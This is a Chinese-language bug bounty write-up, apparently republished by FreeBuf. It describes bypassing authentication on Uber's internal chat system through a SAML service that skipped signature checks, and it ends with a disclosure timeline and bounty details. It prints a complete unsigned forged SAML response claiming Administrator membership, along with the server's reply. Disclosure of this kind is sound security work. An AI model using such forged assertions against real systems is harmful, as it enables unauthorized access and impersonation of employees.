當前位置:
首頁 > 新聞 > 挖洞經驗 | 看我如何利用SAML漏洞實現Uber內部聊天系統未授權登錄

挖洞經驗 | 看我如何利用SAML漏洞實現Uber內部聊天系統未授權登錄


本文講述了利用SAML(安全聲明標記語言)服務漏洞,繞過優步(Uber)公司內部聊天系統身份認證機制,實現了對該內部聊天系統的未授權登錄訪問,該漏洞最終獲得Uber官方8500美元獎勵。


漏洞發現

通過Uber的漏洞賞金項目範圍,我利用域名探索網站https://crt.sh,發現了其內部聊天系統https://uchat.uberinternal.com/login,該系統要求使用Uber內部員工的SSO憑據進行登錄。



綜合先前對Uber網路系統的研究,我猜測該系統的身份認證機制應該是基於SAML(安全聲明標記語言)進行身份跨域傳遞和登錄的,另外,我還發現了該系統使用SAML的服務端:



https://uchat.uberinternal.com/login/sso/saml


SAML:安全聲明標記語言(Security Assertion Markup Language),它是一個基於XML的標準,用於在不同安全域(security domain)之間交換認證和授權數據。SAML標準定義了身份提供者(identity provider)和服務提供者(service provider),這兩者構成了不同的安全域。為了保證身份安全,我們除了可以採用加密簽名等措施,還可採用SAML規範來傳輸,傳輸的數據以XML形式為主,內容符合SAML的推薦標準。


為了發現該系統SAML框架的服務漏洞,我決定構造一個簡單的SAML聲明,通過POST請求方式把它發送到其服務端去。有關SAML單點登錄(SSO)的基本機制,可點此了解查看。


為了驗證該聊天系統SAML服務是否部署了簽名校驗功能,我打算在POST請求中加入一個不帶簽名的簡單XML標記,形成SAML請求一併發送至SAML服務端。該XML標記內容為:

<samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R0bdb6f33ef84425aa2782eab4483792762f297df" Version="2.0" IssueInstant="2016-05-04T01:37:34Z" Destination="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfxb75932c2-2e44-d18d-224b-354849a292af" IssueInstant="2016-05-04T01:37:34Z">
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
michael@test
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2016-05-04T01:40:34Z" Recipient="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2016-05-04T01:34:34Z" NotOnOrAfter="2016-05-04T01:40:34Z">
<saml:AudienceRestriction>
<saml:Audience>
php-saml
</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2016-05-04T01:37:33Z" SessionNotOnOrAfter="2016-05-05T01:37:34Z" SessionIndex="_b340ffa0-f3c6-0133-3483-02a5406d9a2f">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
</saml:Attribute> <saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="Email">
<saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
noreply@uber.com
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf">
<saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
Administrator
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

當把以上這個SAML請求發送至聊天系統的SAML服務端後,該聊天系統遠端伺服器竟然給出了一個有效響應,它完全沒對SAML請求的簽名進行校驗,其有效響應如下:

HTTP/1.1 302 Found
Date: Sat, 22 Apr 2017 08:33:35 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 0
Connection: keep-alive
Server: nginx/1.11.5
Set-Cookie: srv_id=; expires=Sun, 23-Apr-17 08:33:35 GMT; domain=uberinternal.com; path=/
Content-Security-Policy: frame-ancestors 『self』
Location: /error?title=uchat+%28staging%29+needs+your+help%3A&message=SAML+login+was+unsuccessful+because+one+of+the+attributes+is+incorrect.
+Please+contact+your+System+Administrator.&details=Username+attribute+is+missing&link=%2F&linkmessage=Go+back+to+uChat
X-Cluster-Id: X-Frame-Options:
SAMEORIGIN X-Request-Id: uhg97nm9k3g19reb34gm8t6wjr
X-Version-Id: 3.7.0.90.8fa8ba5e2ac11ee1f038953dfce9edd0.true
HTTP/1.1 302 Found
Date: Sat, 22 Apr 2017 08:33:35 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 0
Connection: keep-alive
Server: nginx/1.11.5
Set-Cookie: srv_id=; expires=Sun, 23-Apr-17 08:33:35 GMT; domain=uberinternal.com; path=/
Content-Security-Policy: frame-ancestors 『self』
Location: /error?title=uchat+%28staging%29+needs+your+help%3A&message=SAML+login+was+unsuccessful+because+one+of+the+attributes+is+incorrect.
+Please+contact+your+System+Administrator.&details=Username+attribute+is+missing&link=%2F&linkmessage=Go+back+to+uChat
X-Cluster-Id: X-Frame-Options:
SAMEORIGIN X-Request-Id: uhg97nm9k3g19reb34gm8t6wjr
X-Version-Id: 3.7.0.90.8fa8ba5e2ac11ee1f038953dfce9edd0.true

漏洞利用


後來,我嘗試在發送的SAML請求中加入用戶名,經過測試,竟然不需任何Uber內部員工賬戶憑據,就可以成功登錄進入該聊天系統。如此,這種方式能繞過聊天系統身份認證機制,以Uber有效員工身份,混入任何聊天頻道,發起會話,或是在其中發布垃圾信息,或偽裝身份發言等等。



漏洞上報


之後,我迅速將該漏洞問題上報給了Uber安全團隊,他們最終在身份認證機制中加入了SAML簽名認證。



2017年4月22日 – 通過Hackerone進行漏洞初報


2017年4月25日 – Uber反饋需要更多驗證性證據


2017年4月25日 – 向Uber發送了一段漏洞利用視頻


2017年4月29日 – 漏洞分類並獲得前期500$獎勵


2017年5月1日 – 漏洞修復


2017年5月1日 –再次獲得Uber方面8000$獎勵


*參考來源:mish.re,freebuf小編clouds編譯,轉載請註明來自FreeBuf.COM




喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

安全CDN市場分析 | 動作頻出的背後,我們看到一個有野心的Incapsula
全能無線滲透測試工具,一個LAZY就搞定了
藍牙協議曝 8 個嚴重安全漏洞,可能影響 53 億有藍牙功能的設備
人,最脆弱也最安全:2017中國互聯網安全大會首日紀實

TAG:FreeBuf |